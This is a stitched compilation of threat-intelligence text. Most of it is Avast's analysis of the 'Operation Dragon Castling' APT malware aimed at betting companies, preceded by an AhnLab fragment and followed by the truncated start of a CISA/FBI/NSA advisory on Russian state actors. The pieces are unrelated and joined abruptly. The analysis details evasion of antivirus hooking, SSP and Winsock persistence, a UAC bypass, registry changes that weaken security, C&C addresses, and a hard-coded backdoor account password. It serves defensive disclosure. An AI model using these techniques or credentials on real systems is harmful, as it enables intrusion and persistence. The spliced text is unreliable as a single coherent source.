next-generation threat intelligence platform 'AhnLab TIP' subscription service. Categories: Malware information Tagged as: National Election Commission , Korean document Operation Dragon Castling: APT group targeting betting companies decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies March 22, 2022 Introduction We recently discovered an APT campaign we are calling Operation Dragon Castling . The campaign is targeting what appears to be betting companies in South East Asia , more specifically companies located in Taiwan , the Philippines , and Hong Kong . With moderate confidence, we can attribute the campaign to a Chinese speaking APT group , but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after. We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor ) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed. In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS Office . We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused. We would like to thank Taiwan s TeamT5 for providing us with IoCs related to the infection vector. Infrastructure and toolset 1/18 In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin . However, we strongly believe that it is one of the malicious files used in this campaign. Infection Vector ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe , which is a part of the WPS Office installation package. We have contacted WPS Office team about the vulnerability ( CVE-202224934 ), which we discovered, and it has since been fixed. During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn , which is a domain belonging to Kingsoft , but the serving IP ( 103.140.187.16 ) has no relationship to the company, so we assume that it is a fake update server used by the attackers. The downloaded binary ( setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954 ) drops two files for 2/18 sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll. Dropper 1 (QMSpeedupRocketTrayStub64.dll) 76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491 The first stage is a backdoor communicating with a C&C ( mirrors.centos.8788912[.]com ). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress , FreeLibrary , LdrUnloadDll . To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary. Then it initializes an object for a JScript class with the named item ScriptHelper . The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER of an impersonated user. For communication with C&C it constructs a UserAgent string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the User Agent\Post Platform registry values. After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key . Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header and executed using the JScript class created previously. At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it. Dropper 2 (IcbcLog) a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3 The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012) , then dropping a few binaries, which are stored with the following resource IDs: 3/18 Resource ID Filename Description 1825 smcache.dat List of C&C domains 1832 log.dll Loader (CoreX) 64bit 1840 bdservicehost.exe Signed PE for sideloading 64bit 1841 Filenames for sideloading 1817 inst.dat Working path 1816 hostcfg.dat Used in the Host header, in C&C communication 1833 bdservicehost.exe Signed PE for sideloading 32bit N/A 1831 log.dll Loader (32bit) N/A The encrypted payloads have the following structure: The encryption key is a wide string starting from offset 0x8 . The encrypted data starts at the offset 0x528 . To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer . To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage. Loader (CoreX) 97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42 The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1 , it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat . The file is then loaded and decrypted using AES-256 with the following options for setup: Key is the computer name and IV is qwertyui12345678 AES-256 setup parameters are embedded in the resource in the format # . So you may e.g. see cbfc2vyuzckloknf#8o3yfn0uee429m8d AES-256 setup parameters The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll . We assume that this is used to bypass ntdll.dll hooking. 4/18 After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed. Proto8 (Core module) f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7 The core module is a single DLL that is responsible for setting up the malware s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands. It has a cascading structure with four steps: Step 1 The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the previous infection stages. The GetProcAddress hook contains an interesting debug output in googo The malware then creates a new window (named Sample ) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it. Exported function Core2 sends message 0x411 5/18 Exported function Ldr2 sends message 0x412 The window callback only contains implementation for message 0x411 but there is a check for 0x412 as well Step 2 In the second step, the module tries to self-update, load configuration files and set up its working directory (WD). Self-update 6/18 The malware first looks for a file called new_version.dat if it exists, its content is loaded into memory, executed in a new thread and a debug string run code ok is printed out. We did not come across this file, but based on its name and context, this is most likely a self update functionality. Load configuration file inst.dat and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations: the directory where the core module DLL is located the directory where the EXE that loaded the core module DLL it is located C:\ProgramData\ It contains the path to the malware s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases. Load configuration file smcache.dat . After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step 4) plus a comment string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim s computer (see below) and it s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the comment string because we have seen a few versions of smcache.dat where the content of the string was the comment string here and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT. Create a log file Right after the sample finds and reads smcache.dat, it creates a file based on the victim s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck ). Based on the extension it could be a log of some sort, but we haven t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step. Step 3 Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list call objects . Call objects are structures each associated with a particular function and saved into a dispatcher structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers. The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we seen. For example, the function that calls the RevertToSelf function is identified by the number 7/18 0x20210326 in some versions of the core module that we ve seen and 0x19181726 in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function. ID (last byte) Function description 0x02 unimplemented function 0x19 retrieves content of smcache.dat and sends it to the C&C server 0x1A writes data to smcache.dat 0x25 impersonates the logged on user or the explorer.exe process 0x26 function that calls RevertToSelf 0x31 receives data and copies it into a newly allocated executable buffer 0x33 receives core plugin code, drops it on disk and then loads and calls it 0x56 writes a value into comment.dat Webdav While initializing the call objects the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W . This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself. Plugins The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg.dat in the malware working directory, loads it into memory and then calls its exported function InitCorePlug . The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT . For more information about the plugins, see the dedicated Plugins section. Step 4 In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows: The protocol string can have one of nine possible values: HTTPS ICMP HTTPSIPV6 HTTP 8/18 Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C and waits for commands. In this blogpost, we will mainly focus on the HTTP protocol option as we ve seen it being used by the attackers. The structure of the smcache.dat config file When using the HTTP protocol, the core module first opens two persistent request handles one for POST and one for GET requests, both to /connect . These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile . HTTP packet order 9/18 HTTP POST beacon The core module uses the following (mostly hard-coded) HTTP headers: Accept: */* x-cid: {} new uuid is generated for each GET/POST request pair Pragma: no-cache Cache-control: no-transform User-Agent: generated from registry or hard-coded (see below) Host: C&C server domain or the value from hostcfg.dat (see below) Connection: Keep-Alive Content-Length: 4294967295 (max uint, only in the POST request) User-Agent header The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host header When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat . It does not change the actual C&C domain to which the request is made this suggests the possibility of the C&C server being behind a reverse proxy. Initial beacon The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim username, OS version and architecture, computer DNS and BIOS names and the comment string found in smcache.dat or comment.dat . The value from comment.dat takes precedence if this file exists. In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat it looks for the key COMMNET instead of COMMENT 10/18 After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects. Each message sent to the C&C server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we ve seen are: ID (last byte) Usage 0x1B message to C&C which contains smcache.dat content 0x24 message to C&C which contains a debug string 0x2F general message to C&C 0x30 message to C&C, unknown specific purpose 0x32 message to C&C related to plugins 0x80 initial beacon to a C&C server Interesting observations about the protocols, other than the HTTP protocol: HTTPS does not use persistent request handles HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon HTTPS, TCP and UDP use a custom magic header: Magic-Code: hhjjdfgh General observations on the core module The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, run code ok after self-update, In googo the hook of GetProcAddress , recv bomb and sent bomb in the main C&C communicating function, etc. String obfuscation We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key. Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not. To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to 11/18 WritePrivateProfileStringW . Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders. Plugins In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality. We are going to describe three plugins with various functionalities, such as: Achieving persistence Bypassing UAC Registering an RPC interface Creating a new account Backdoor capabilities Core Plugin 0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755 This plugin is a DLL binary loaded by the fileless core module ( Proto8 ) as mentioned above. It extends the malware s functionality by adding methods for managing additional plugins. These additional plugins export the function "GetPlugin" which the core plugin executes. This part uses the same command ID based calling convention as the core module (see above), adding three new methods: ID (last byte) Function description 0x2B send information about plugin location to the to C&C server 0x2C remove a plugin 0x2A load a plugin All plugin binaries used by the core module are stored in the working directory under the name kbg.dat . After the Core Plugin is loaded, it first removes all plugins from the working directory see the image below. 12/18 Zload(Atomx.dll,xps1.dll) 2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876 The DLL we call Zload is an example of a plugin loaded by the Core Plugin . It exports four functions: GetPlugin Install core_zload and zload . The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload , core_zload and the default DllMain function, as they contain the most interesting functionality. Zload (process starter) This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located () and creates a new subfolder called "mec" in it. After this it renames and moves three files into it: the Zload plugin binary itself as \mec\logexts.dll , \spdlogd.exe as \mec\spdagent.exe and \kb.ini as \mec\kb.ini After the files are renamed and moved, it creates a new process by executing the binary \mec\spdagent.exe (originally \spdlogd.exe ). core_zload (persistence setup) This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC source code found on github. DllMain (sideloading, setup) The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security. 13/18 Persistence The plugin first checks if its DLL was loaded either by the processes lsass.exe or spdagent.exe . If the DLL was loaded by spdagent.exe , it will adjust the token privileges of the current process. If it was loaded by lsass.exe , it will retrieve the path kb.dll from the configuration file kb.ini and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters AutodialDLL . This ensures persistence, as it causes the DLL kb.dll to be loaded each time the Winsock 2 library ( ws2_32.dll ) is invoked. Evasion To avoid detection, the plugin first checks the list of running processes for avp.exe (Kaspersky Antivirus) NortonSecurity.exe and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to explorer.exe The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} . Backdoor user account creation Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system s protection by: Allowing local accounts to have full admin rights when they are authenticating via network logon Enabling RDP connections to the machine without the user password Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges Enabling anonymous SID to be part of the everyone group in Windows Allowing Null Session users to list users and groups in the domain Allowing Null Session users to access shared folders Setting the name of the pipe that will be accessible to Null Session users After this step, the plugin changes the WebClient service startup type to Automatic . It creates a new user with the name DefaultAccount and the password Admin@1999! which is then added to the Administrator and Remote Desktop Users groups. It also hides the new account on the logon screen. As the last step, the plugin checks the list of running processes for process names 360tray.exe and 360sd.exe and executes the file "spdlogd.exe" if neither of them is found. MecGame(kb%num%.dll) 4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD MecGame is another example of a plugin that can be loaded by the Core Plugin . Its main purpose is similar to the previously described Zload plugin it executes the binary spdlogd.exe and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF} . This RPC interface represents a function that decodes and executes a base64 encoded shellcode. The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or -XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll . 14/18 It can be installed as a service with the service name inteloem or can be loaded by any executable that connects to the internet via the Winsock2 library. MulCom ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2 This DLL is a backdoor module which exports four functions: OperateRoutineW StartRoutineW StopRoutineW and WorkRoutineW ; the main malicious function being StartRoutineW For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB or "Local\\4ED8FD412D1B-4CC3-B874-02F0C60FF9CB . Unfortunately we didn t come across the configuration data, so we are missing some information such as the C&C server domains this module uses. There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers: Command Function description Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM Finds out information about the domain name, user name and security identifier of the process explorer.exe . It finds out the user name, domain name, and computer name of all Remote Desktop sessions. Enumerates root disks Enumerates files and finds out their creation time, last access time and last write time Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix). Enumerates files and finds out creation time, last time access, last write time Renames files Deletes files Creates a directory Sends an error code obtained via GetLastError API function Enumerates files in a specific folder and finds out their creation time, last access time and last write time Uploads a file to the C&C server Not implemented (reserved) Combination 105/106/107 Creates a directory and downloads files from the C&C server Communication protocol 15/18 The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object. It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols. After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC . This data is a set with the following structure: Data structure Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly. As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT ). Conclusion We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX tools commonly used by Chinese speaking attackers. We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed. Our research points to some unanswered questions, such as reliable attribution and the attackers motivation. Appendix List of processes: 360sd.exe 360rp.exe 360Tray.exe 360Safe.exe 360rps.exe 16/18 ZhuDongFangYu.exe kxetray.exe kxescore.exe KSafeTray.exe KSafe.exe audiodg.exe iexplore.exe MicrosoftEdge.exe MicrosoftEdgeCP.exe chrome.exe Registry values changed by the Zload plugin: Registry path in HKEY_LOCAL_MACHINE Registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System LocalAccountTokenFilterPolicy = 1 FilterAdministratorToken = SYSTEM\\CurrentControlSet\\Control\\Lsa LimitBlankPasswordUse = 0 EveryoneIncludesAnonymous = 1 RestrictAnonymous = 0 System\\CurrentControlSet\\Services\\LanManServer\\Parameters RestrictNullSessAccess = 0 NullSessionPipes = RpcServices Core module working directory (WD) Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP% ): spptools NewGame TspSoft InstallAtomx File used to test permissions: game_.log the WD path is written into it and then the file is deleted. Hard-coded security descriptor used for WD access: D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD) Lockfile name format: \-.log Core module mutexes: Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim s username) Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim s username Global\TencentSecuriryAgent-P01-%s (%s is the victim s username) Indicators of Compromise (IoC) Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling 17/18 List of SHA256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256 Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy. This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations we ve seen in a while. This research reveals that a cryptomining malware campaign we... 18/18 Co-Authored by: TLP:WHITE Product ID: AA22-011A January 11, 2022 Understanding and Mitigating Russian StateSponsored Cyber Threats to U.S. Critical Infrastructure SUMMARY This joint Cybersecurity Advisory (CSA) authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian statesponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats. Actions critical infrastructure organizations should implement to immediately strengthen their cyber posture. Patch all systems. Prioritize patching known exploited vulnerabilities. Implement multi-factor authentication. Use antivirus software. Develop internal contact lists and surge support. CISA, the FBI, and NSA encourage the cybersecurity community especially critical infrastructure network defenders to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at fbi.gov/contact-us/field, or the FBI s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. TLP:WHITE CISA | FBI | NSA TLP:WHITE 1. Be prepared. Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline. 2. Enhance your organization s cyber posture. Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management. 3. Increase organizational vigilance. Stay current on reporting on this threat. Subscribe to CISA s mailing list and feeds to receive notifications when CISA releases information about a security topic or threat. CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their organization. TECHNICAL DETAILS Note: this advisory uses the MITRE ATT&CK for Enterprise framework, version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques. Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include: CVE-2018-13379 FortiGate VPNs CVE-2019-1653 Cisco router CVE-2019-2725 Oracle WebLogic Server CVE-2019-7609 Kibana CVE-2019-9670 Zimbra software CVE-2019-10149 Exim Simple Mail Transfer Protocol CVE-2019-11510 Pulse Secure CVE-2019-19781 Citrix CVE-2020-0688 Microsoft Exchange CVE-2020-4006 VMWare (note: this was a zero-day at time.) CVE-2020-5902 F5 Big-IP CVE-2020-14882 Oracle WebLogic CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments including cloud environments by using legitimate credentials. Page 2 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware. See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS: ICS Advisory ICS Focused Malware Havex ICS Alert Ongoing Sophisticated Malware Campaign Compromising ICS (Update E) ICS Alert Cyber-Attack Against Ukrainian Critical Infrastructure Technical Alert CrashOverride Malware CISA MAR HatMan: Safety System Targeted Malware (Update B) CISA ICS Advisory Schneider Electric Triconex Tricon (Update B) Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes: Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020. Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims. Russian state-sponsored APT actors global Energy Sector intrusion campaign, 2011 to 2018. These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data. Russian state-sponsored APT actors campaign against Ukrainian critical infrastructure, 2015 and 2016. Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed BlackEnergy malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed CrashOverride malware specifically designed to attack power grids. For more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or cisa.gov/Russia. Joint FBI-DHS-CISA CSA Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders Joint NSA-FBI-CISA CSA Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments Page 3 of 12 | Product ID: AA22-011A TLP:WHITE CISA | FBI | NSA TLP:WHITE Joint FBI-CISA CSA Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets Joint CISA-FBI CSA APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations CISA s webpage Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise CISA Alert Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors CISA ICS: Alert Cyber-Attack Against Ukrainian Critical Infrastructure Table 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATT&CK for Enterprise framework, version 10. Note: these lists are not intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based on public reporting.[1] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection. Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors Tactic Reconnaissance [TA0043] Technique Active Scanning: Vulnerability Scanning [T1595.002] Procedure Russian state-sponsored APT actors have performed largescale scans in an attempt to find vulnerable servers. Phishing for Information [T1598] Russian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. Resource Development [TA0042] Develop Capabilities: Malware [T1587.001] Russian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. Initial Access [TA0001] Exploit Public Facing Applications [T1190] Russian state-sponsored APT actors use publicly known 